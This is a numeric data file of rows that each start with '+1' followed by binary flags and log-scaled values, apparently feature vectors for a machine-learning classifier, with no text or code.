+1,1,0,1,0,0,1,0,0,0,1,8.37032,5.15906,24.948,4.85981,0,5.26875,0.00705508,0.104046,0,0.0829472,0.537572,0,0,1.09861,0.693147,0,0,3.7612,1.09861,0,0,0,0.693147,0,0,0,0,0,1.09861,0,0,0,0,0,1.09861,1.09861,0,0,0,0,0,1.60944,1,0,0,0,0 +1,0,1,1,1,1,1,0,0,0,0,7.14045,3.80666,28.6591,4.43082,0,4.23397,0.0186676,0.181818,0,0.0618557,0,0,0,0,0,0,1.09861,3.91202,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0.693147,0.693147,0,0,0,0,1,0,0 +1,0,1,1,0,0,0,0,0,0,1,6.1203,3.21888,18.9167,4.21951,0,5.00535,0.0421041,0.166667,0,0.0462555,0.25,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,1,0,10.8482,7.51371,28.0775,4.56435,0,5.24511,0.0418044,0.187773,0,0.00847622,0.0010917,0,0,0,0,0,0.693147,4.36945,4.63473,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,1,1,0,0,0,0,1,1,0,9.00011,5.65249,28.5317,4.38203,0.157472,6.09732,0.0163063,0.109155,0,0.0609651,0.570423,0.693147,0,0,0,0.693147,1.09861,6.55023,0,0,0.693147,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0.693147,0,0.693147,1.38629,0,0,0,1.38629,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,5.68017,2.56495,24.3333,3.98898,0,5.73397,0.13975,0.25,0,0.152084,3.91531,0,0,1.09861,0,0,0,3.3673,0,0,0,1.09861,1.09861,0.693147,1,0.693147,0.693147,1.09861,0,0,0,0,1.09861,0,1.09861,1.09861,0,1.09861,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,5.37064,2.19722,26.75,4.23411,0,5.7906,0.0239683,0,0,0.119139,4.22616,0,0,0,0,0,0,3.52636,0,0,0,2.07944,1.79176,1.09861,1,0.693147,1.09861,0.693147,0,0,1.09861,0,0,0,0,0,0,1.38629,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,1,1,0,6.86693,3.58352,27.4,4.38203,0.212266,6.2389,0.129108,0.114286,0,0.0302398,0.257143,0,0,0,0,0,1.38629,7.38323,1.60944,1.09861,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,0.693147,0,0,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,7.67833,4.21951,32.2388,4.55388,0,5.89691,0.0464662,0.19403,0,0.092126,4.43537,0.693147,0,0,0,0.693147,0.693147,4.11087,0,0,0,2.07944,0.693147,1.09861,1,0.693147,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,0,0,0,0,1,0,0,0,0,7.91462,4.61512,27.36,4.38203,0,5.14924,0.0607337,0.11,0,0.0398392,0.21,0,0,1.09861,0.693147,0,0,4.38203,1.79176,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.09861,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,0,1,1,0,1,0,0,0,0,7.68708,4.44265,25.9405,4.35671,0,5.45476,0.0255449,0.22619,0,0.141877,2.28257,0,0,0.693147,1.09861,0,0,4.02535,1.60944,0,0,1.38629,1.60944,1.09861,1,1.09861,0.693147,1.09861,0.693147,0,0,0,0,0,1.09861,1.09861,0,0,1.09861,0.693147,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,6.74524,3.3673,30.3214,4.47734,0.207107,6.14905,0.0255791,0.0357143,0,0.0824499,1.14286,0,0,0,0,0,0.693147,8.47989,0,1.79176,0.693147,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,1,1,0,1,0,0,0,1,6.74052,3.3673,30.1786,4.46591,0,6.07092,0.0285471,0.0357143,0,0.143802,1.59678,0,0,0,0,0,0.693147,3.80666,0,0,0,0.693147,0.693147,0.693147,1,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,1,0,0,7.92407,4.81218,22.6393,4.60517,0,4.85786,0.0688934,0.122951,0,0.0492397,0.286885,0,0,0,0,0,0,3.89182,1.38629,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,1.60944,0,0,0.693147,0,0,0,0.693147,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,7.87891,4.15888,41.9048,4.77068,0,4.80637,0.00811534,0.222222,0,0.0299242,0,1.09861,0,1.09861,1.09861,0.693147,0,4.11087,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0.693147,0.693147,1.38629,1.09861,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,0,1,6.77422,3.17805,38,4.70953,0,5.34484,0.00636357,0.0869565,0,0.0583524,0.565217,0.693147,0,0,0,0.693147,1.09861,4.04305,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,1,9.5045,5.81413,40.1766,4.62497,0,4.70159,0.0171225,0.251497,0,0.0140845,0,0.693147,0.693147,1.09861,0,0.693147,0,4.36945,2.94444,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,1.09861,0,0.693147,0.693147,0,1.09861,0,0,0,0,0,0,1,0,0 +1,0,1,0,0,0,0,0,0,0,0,6.74524,3.3673,30.3214,4.47734,0,6.36668,0.0822861,0.0357143,0,0.0830584,4.69352,0,0,0,0,0,0,3.82864,0,0,0,1.09861,1.94591,0.693147,1,1.09861,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,0,1,0,1,0,0,0,0,5.60947,2.63906,20.9231,4.2485,0,4.66284,0,0.307692,0,0.0735294,1.07692,0,0,0,0,0,0,2.70805,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,1,1,0,0,0,0,9.52799,6.1717,28.7406,4.77068,0,5.00817,0.0109979,0.0899582,0,0.0812345,0.610879,1.09861,0,0,0,0.693147,1.09861,4.23411,2.30259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,1.09861,1.09861,0,0,1,0,0,0,0 +1,0,1,1,1,1,0,0,1,1,0,10.1573,6.97261,24.182,5.23111,0.223046,5.7326,0.0508878,0.152908,0,0.0574909,0.315197,1.60944,1.09861,0,0,1.38629,1.60944,6.29587,3.78419,1.60944,1.38629,0,0,0,0,0,0,0,0,1.09861,0.693147,0,0,0,1.09861,0,0,1.38629,0.693147,1.09861,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,6.24804,2.99573,27.1579,4.18965,0,4.59519,0.0944042,0.157895,0,0.0387597,0.210526,0,0.693147,1.09861,0.693147,0,0,3.04452,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,1.09861,0,0.693147,1.38629,0.693147,0,0,0,1.09861,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,1,11.0598,7.54327,33.6847,5.51343,0,4.65229,0.0533833,0.132485,0,0.0618284,0.505034,2.83321,0,0.693147,0,1.94591,0,5.01064,4.02535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +1,1,1,0,1,0,1,0,0,0,0,6.9256,3.49651,31.7812,4.43082,0,5.18246,0.28408,0.1875,0,0.027532,0.21875,0.693147,0.693147,0,0,0.693147,1.09861,3.46574,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,0,1.09861,1.09861,0,0,0,0,1.09861,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,1,1,1,12.7161,9.34461,29.1232,5.0876,0,6.29809,0.0983626,0.113764,0,0.0705052,3.53959,2.48491,2.07944,0,0,1.79176,0.693147,4.83628,4.89035,0,0,1.79176,1.94591,0.693147,1,0.693147,1.09861,0.693147,0,2.83321,1.09861,0,0,1.09861,0,0,0,1.38629,0,0,0,3.4012,0,1,0,0,0 +1,1,1,1,0,0,1,0,1,0,0,6.88653,4.29046,13.5833,4.56435,0,4.9734,0,0.138889,0,0.0725971,0.194444,0,0,1.09861,1.09861,0,0,3.17805,1.09861,0,0,0,0,0,0,0,0,0,1.09861,0,0.693147,0,0,0,0.693147,1.09861,0.693147,0.693147,0,0,0,0,1,0,0,0,0 +1,0,0,1,0,0,0,0,1,1,1,9.62039,6.16752,31.6555,4.79579,0.37011,5.7545,0.00798469,0.092437,0,0.0852137,0.655462,1.09861,0,0,0,1.09861,0.693147,8.25495,1.79176,1.60944,0,0,0,0,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0.693147,1.38629,0,0,0,0,1,0,0,0,0 +1,1,0,1,0,0,1,0,0,0,0,6.64639,3.3673,27.4643,4.21951,0,4.96843,0.0556368,0.0357143,0,0.0910273,1.14286,0,1.09861,1.09861,0.693147,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,1.38629,0,1.09861,1.09861,0.693147,0,0,0,0.693147,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,0,1,1,9.41353,5.86079,35.0057,5.3845,0,5.36643,0.078139,0.0857143,0,0.0864349,0.602857,2.3979,0.693147,0,0,1.60944,0.693147,5.16479,2.77259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.94591,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,6.74052,3.3673,30.1786,4.46591,0,4.99619,0.0559423,0.0357143,0,0.0828402,1.14286,0,0,0,0,0,0,3.80666,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,1.09861,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,1,0,5.3799,2.19722,27,4.23411,0.121511,5.75814,0.0246033,0,0,0.0509259,0.125,0,0,0.693147,0,0,1.38629,7.34401,0,1.09861,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,1,0,0,1,0,0,1,0,6.64379,3.09104,36.5238,5.35659,0,6.12281,0,0.285714,0,0.0873533,3.68403,0,0,0,0,0,1.09861,4.40672,0,0,0,1.94591,0.693147,1.09861,1,1.09861,0.693147,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,7.29912,4.02535,26.8727,4.55388,0,4.73724,0.0868542,0.127273,0,0.0196211,0.181818,0,0,0,0,0,0,3.43399,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,5.35186,2.07944,30,4.18965,0,5.63242,0,0,0,0.0952381,1.79956,0,0,1.09861,0.693147,0,0,3.7612,0,0,0,1.94591,1.94591,1.09861,1,1.09861,1.09861,0.693147,1.09861,0,0,0,1.38629,0,0.693147,1.09861,0,1.38629,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,6.64639,3.3673,27.4643,4.21951,0,6.07152,0.054653,0.0357143,0,0.104799,4.63822,0,0,0,0,0,0,3.55535,0,0,0,1.38629,1.38629,0.693147,1,1.09861,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,1,0,0,8.86121,5.69036,23.9051,4.47734,0,5.44014,0.0703965,0.152542,0,0.0466534,0.274576,1.09861,1.09861,0.693147,0,0.693147,0,3.89182,1.94591,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0.693147,0,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,5.35659,2.19722,26.375,4.23411,0,5.04019,0.0201141,0,0,0.0521327,0.125,0,0,0.693147,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.38629,0.693147,0,1.09861,0,0,0,0,0,0,1,0,0 +1,1,1,1,0,0,1,0,0,0,0,8.67863,5.6058,21.679,4.29046,0,4.90459,0.0402397,0.0885609,0,0.0469787,0.398524,0.693147,0,0,0,0.693147,0,3.73767,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,1.09861,1.09861,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,1,0,0,6.75344,3.21888,35.6667,4.80402,0,5.10122,0,0.166667,0,0.0771028,0.916667,0,0,0,0,0,1.09861,3.85015,0,0,0,0,0,0,0,0,0.693147,0,0,0,1.09861,0,0,0,0.693147,0,0,1.38629,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,5.75257,2.56495,26.1667,4.31749,0,4.94604,0,0.166667,0,0.11465,0.833333,0,0,0,0,0,0,3.82864,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,8.32069,4.8828,31.3511,4.91265,0,5.33528,0,0.114504,0,0.0367665,0,0,0,0.693147,0.693147,0,0,3.98898,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.09861,0.693147,0,0,1.09861,1.09861,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,7.98854,4.77912,24.9661,4.45435,0,6.29503,0.0822462,0.152542,0,0.0937637,1.72789,0,1.09861,0,0,0,0,4.18965,0.693147,0,0,1.09861,1.09861,0.693147,1,1.09861,1.09861,0.693147,0,0,0,1.60944,0,1.09861,1.09861,0,0,0.693147,0,0,0,0,0,1,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,7.63723,4.18965,31.8923,4.48864,0,5.33325,0.079053,0.169231,0,0.0578871,0.369231,0.693147,0.693147,0.693147,0,0.693147,0,4.21951,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1.38629,1.09861,1.09861,0.693147,0,1.38629,0,0.693147,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,7.01392,3.8712,23.6383,4.46591,0,4.80537,0.0128247,0.191489,0,0.130513,0.851064,0,0,1.09861,1.09861,0,0,3.3673,0.693147,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,1.38629,0,1.38629,0.693147,0,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,7.5868,3.78419,45.8372,4.60517,0.112949,6.47849,0.203006,0.0465116,0,0.159625,2.59565,0,0.693147,0,0,0,1.09861,6.28896,0,0,0,1.79176,1.38629,0.693147,1,0.693147,1.09861,0.693147,0,0.693147,0,1.38629,0,0.693147,1.09861,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,7.70571,3.80666,50.4545,5.23111,0.186292,6.39064,0,0.25,0,0.0135135,0,0,0,0,0,0,0.693147,7.16979,0,1.09861,1.09861,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +1,0,1,1,0,0,0,0,0,0,0,10.527,7.01481,33.5495,4.63473,0,6.28124,0.0216557,0.163669,0,0.107238,3.491,2.19722,0.693147,0.693147,0,1.09861,0,4.36945,3.52636,0,0,0.693147,0.693147,1.09861,1,1.09861,1.09861,0.693147,0,0,0,1.38629,0,0.693147,0.693147,0,0,0,0,0.693147,0,0,0,1,0,0,0 +1,0,1,0,0,0,0,0,0,0,1,10.2662,6.6695,36.5222,5.50126,0,5.85972,0.0619501,0.127065,0,0.0898278,3.41572,2.70805,0.693147,0,0,1.94591,0,4.70048,3.21888,0,0,1.60944,0.693147,1.09861,1,0.693147,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,0,1,0,1,0,0,0,0,8.95222,5.56452,29.7077,4.46591,0,4.55334,0.00952777,0.161538,0,0.0491973,0.00384615,0.693147,0,0,0,0.693147,0,4.09434,2.3979,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,1,0,0,0,0,0,0,1,0,6.32972,3.04452,28,4.23411,0.313046,6.08675,0,0.15,0,0.107143,0.25,0,0,0,0,0,1.09861,5.68834,0,0.693147,1.09861,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,8.23642,4.89784,28.3835,4.52179,0,5.07238,0.0841328,0.0902256,0,0.0577483,0.609023,0.693147,0,0,0,0.693147,0,4.43082,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,1,0,10.0163,6.31355,40.6316,4.81218,0.255386,5.56788,0.00650552,0.145191,8.93336e-05,0.018224,0.0199637,2.30259,2.30259,0,0,1.94591,1.09861,7.77615,2.89037,1.09861,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,0,1,0,0,0,0,0,0,0,8.64857,5.2575,29.8482,4.76217,0,5.42523,0.0412476,0.125654,0,0.0837131,3.83767,0,0,0,0,0,0,4.61512,1.79176,0,0,2.07944,0.693147,0.693147,1,0.693147,0.693147,0,0,0.693147,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,1,1,0,6.82655,3.3673,32.8929,4.49981,0.274456,5.77163,0.0336307,0.178571,0,0.087381,4.89571,0,0,0,0,0,1.60944,7.75456,0.693147,0,1.38629,1.79176,1.09861,0.693147,1,1.09861,0.693147,0.693147,0,0,0.693147,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,1,0,0,0 +1,1,1,1,1,0,1,0,0,1,0,14.6177,10.2389,79.7486,4.59512,0,6.42769,0.00547294,0.00121563,0,0.0880906,0.918088,1.09861,0,0,0,1.09861,1.79176,4.38203,2.07944,0,0,0.693147,9.15165,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,1,1,0,0,0,0,1,0,0,5.36598,2.19722,26.625,4.23411,0,5.05012,0.0696349,0,0,0.0516432,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0,1,0,0 +1,0,1,0,0,0,1,0,0,1,0,5.83773,2.48491,31.0909,5.03695,0.160172,6.30841,0,0.181818,0,0.0584795,0.727273,0,0,0.693147,0.693147,0,1.60944,5.85262,0,1.09861,0.693147,0,0,0,0,0,0,0,1.09861,0.693147,0,0,0,0,1.38629,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,6.39192,3.29584,22.9231,4.18965,0,4.21632,0.0399203,0.115385,0,0.0587248,0.346154,0,0,0,0,0,0,3.29584,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,1,7.50769,4.51086,20.2333,4.36945,0.232019,6.10886,0.0599002,0.177778,0,0.0735859,0.411111,0,0,0,0,0,0.693147,8.05492,1.60944,0,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,1,0,0,0,0 +1,1,1,0,1,0,1,0,0,1,0,8.00537,4.85203,23.5906,4.36945,0,5.06306,0,0.11811,0,0.11215,0.685039,0,0,1.09861,0,0,0.693147,4.27667,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,1.38629,0.693147,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,0,0,0,0,0,0,5.64545,2.56495,23.5,4.07754,0,4.93555,0,0.166667,0,0.12766,0.833333,0,0,0,0,0,0,3.4012,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0.693147,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,7.62315,3.89182,42.5833,4.30407,0,4.59721,0,0,0,0.0503914,0.916667,0,0,0,0,0,0,3.71357,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,5.30827,1.79176,40.2,4.33073,0,4.92172,0,0.2,0,0.0248756,0,0,1.09861,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,0,1.09861,0,0,0,0,1.09861,0.693147,0,0,0,0,0,0,1 +1,1,1,0,0,0,1,0,0,1,0,8.16479,5.09375,21.6914,4.31749,0,4.6616,0.0398524,0.12963,0,0.0387023,0.296296,0,0.693147,0,0,0,0.693147,3.3673,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0.693147,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,1,8.21447,5.04986,23.8258,4.51086,0,5.48233,0.0209952,0.0774194,0,0.0806932,0.541935,0,0.693147,0.693147,0,0,0,3.68888,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1.09861,0.693147,1.09861,1.09861,0,1.09861,0,1.09861,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,6.28972,3.04452,26.9,4.23411,0,5.29479,0,0.2,0,0.100372,0,0,0,0.693147,0.693147,0,0,4.09434,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.09861,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,7.68432,4.54329,23.3656,4.29046,0.396858,6.43418,0.0310884,0.0860215,0.00276116,0.0884286,3.6138,0.693147,0,0,0,0.693147,1.38629,5.77481,1.79176,1.79176,1.09861,1.09861,0.693147,1.09861,1,1.09861,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,7.31655,3.89182,31.3333,4.93447,0,5.02896,0.0253131,0.1875,0,0.0405585,0.166667,1.09861,0.693147,0,0,0.693147,0,3.95124,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.09861,1.09861,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,1,1,10.0656,6.77422,26.9096,5.1358,0.0986888,6.05049,0.0342781,0.169336,0,0.0920532,0.580092,2.70805,0.693147,0,0,1.94591,0.693147,6.60898,1.79176,1.38629,0.693147,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,1,0,8.32845,4.92725,30.2117,4.46591,0.208099,5.87879,0.0259859,0.160584,0,0.0558106,0.49635,0,0,0,0,0,1.09861,5.75576,1.79176,0,1.38629,0,0,0,0,0,0,0,0,1.09861,1.38629,0,0,0,0,0,0.693147,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,1,0,7.68708,4.44265,25.9405,4.35671,0.107475,5.95909,0.0167307,0.22619,0,0.0316659,0,0,1.09861,0,0,0,1.60944,7.92365,1.60944,1.09861,0,0.693147,0,0,0,0,0,0,0,0.693147,0,1.60944,0,0.693147,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,1,1,0,0,1,0,0,0,0,10.0677,6.67456,29.7952,4.51086,0,4.86501,0.152677,0.0809102,0,0.0553717,0.500632,0.693147,0,1.09861,0,0.693147,0,4.23411,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.09861,1.09861,0,0.693147,0,0,0,0,1,0,0,0,0 +1,1,1,0,1,0,1,0,0,1,0,7.13409,3.80666,28.4773,4.48864,0,5.13158,0.054454,0.25,0,0.0359138,0.613636,0,0,0,0,0,0.693147,3.63759,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,1,1,5.92158,2.48491,33.8182,4.44265,0.0851433,6.26825,0.0204179,0.0909091,0,0.0107527,0.0909091,0,0,0.693147,0,0,1.38629,7.01434,0,1.60944,0,0,0,0,0,0,0,0,0,1.09861,0,0,1.38629,0,1.38629,0.693147,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,0,1,1,1,1,0,0,0,0,7.94236,4.29046,39.0694,4.36945,0,5.31781,0.0418615,0.0833333,0,0.00568788,0.0277778,0,0,0.693147,0.693147,0,0,3.29584,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0.693147,1.09861,0,0,0.693147,1.09861,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,8.74624,5.33754,30.3671,4.47734,0,4.36823,0.00572578,0.130435,0.00381801,0.0453388,0,0,0,1.09861,0,0,0,3.73767,2.19722,0,0,0.693147,0,0,0,0,0,0,0,0,0,0.693147,0.693147,0,0.693147,0.693147,0,1.38629,0,0,0,0,0,0,1,0,0 +1,1,1,1,0,0,1,0,1,0,0,6.14847,2.77259,31.1333,4.35671,0,4.94548,0.0630805,0.2,0,0.0578158,0.466667,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0.693147,0,0,0.693147,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,6.9594,3.73767,25.6585,4.38203,0,5.22973,0.102064,0.195122,0,0.0361217,0.317073,0,0,1.09861,0.693147,0,0,3.89182,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.09861,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,8.29029,5.04343,25.8701,4.78749,0,5.45549,0.00657391,0.0974026,0,0.0996486,2.15899,0,0,0.693147,0,0,0,4.00733,1.38629,0,0,1.38629,1.09861,0.693147,1,1.09861,1.09861,0,0,0,0,0,1.38629,0,0.693147,1.09861,0,1.09861,0,0,0,1.09861,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,7.5979,4.27667,28.0704,4.75359,0,4.87039,0.0102787,0.267606,0,0.0296036,0.056338,0.693147,1.09861,0,0,0.693147,0,3.98898,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0.693147,0,1.09861,0,0,0,0,0,1.09861,0,0,0,0,1,0,0 +1,0,1,1,0,0,1,0,1,0,0,9.5451,6.14633,29.9893,5.15329,0,4.9096,0.05234,0.118026,0,0.0619678,0.354077,1.94591,0,0,0,1.09861,1.09861,4.57471,2.83321,0.693147,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0.693147,0,0.693147,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,7.22621,3.98898,25.9245,4.38203,0,4.85989,0.143307,0.113208,0,0.0371179,0.301887,0,0.693147,1.09861,1.09861,0,0,3.46574,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,1.60944,0,1.09861,1.09861,1.09861,0,0,0,1.09861,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,0,0,10.002,6.63332,29.0764,4.5326,0,4.87224,0.184439,0.0935441,0,0.031175,0.280632,0.693147,0.693147,0.693147,0,0.693147,0,4.39445,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,1.09861,1.09861,0,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,1,10.0656,6.77422,26.9096,5.1358,0,5.35313,0.0641426,0.169336,0,0.0920532,4.41732,2.70805,0.693147,0.693147,1.09861,1.94591,0,4.45435,1.79176,0,0,1.60944,1.09861,1.09861,1,0.693147,0.693147,0,0.693147,0,0,0,0,1.09861,1.09861,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,1,0,8.13944,4.60517,34.6061,4.46591,0.285279,6.5747,0.00305415,0.232323,0,0.159323,2.16059,0,0,1.09861,0.693147,0,1.60944,7.23749,2.30259,0.693147,0.693147,0.693147,1.94591,1.09861,1,1.09861,1.09861,1.09861,0.693147,1.09861,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,5.62402,2.56495,23,4.02535,0,6.28305,0,0.166667,0,0.130435,2.99294,0,1.09861,0,0,0,0,3.29584,0,0,0,2.19722,1.60944,0.693147,1,0.693147,1.09861,0,0,0,0,1.60944,0,1.09861,1.09861,0,0,0,0,0.693147,0,0,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,1,0,6.14847,2.77259,31.1333,4.35671,0.321816,6.19184,0.0510135,0.2,0,0.0578158,0.466667,0,0,0,0,0,1.38629,7.80032,0,1.38629,1.09861,0,0,0,0,0,0,0,0,1.09861,0,0.693147,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,1,0,0,0,0,0,7.30653,4.00733,27.5741,4.47734,0,6.08899,0.00821089,0.222222,0,0.0699551,1.64516,0,0,0,0,0,0,3.80666,1.60944,0,0,0.693147,1.60944,0.693147,1,1.09861,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0.693147,1.09861,0,0,0,1,0,0,0 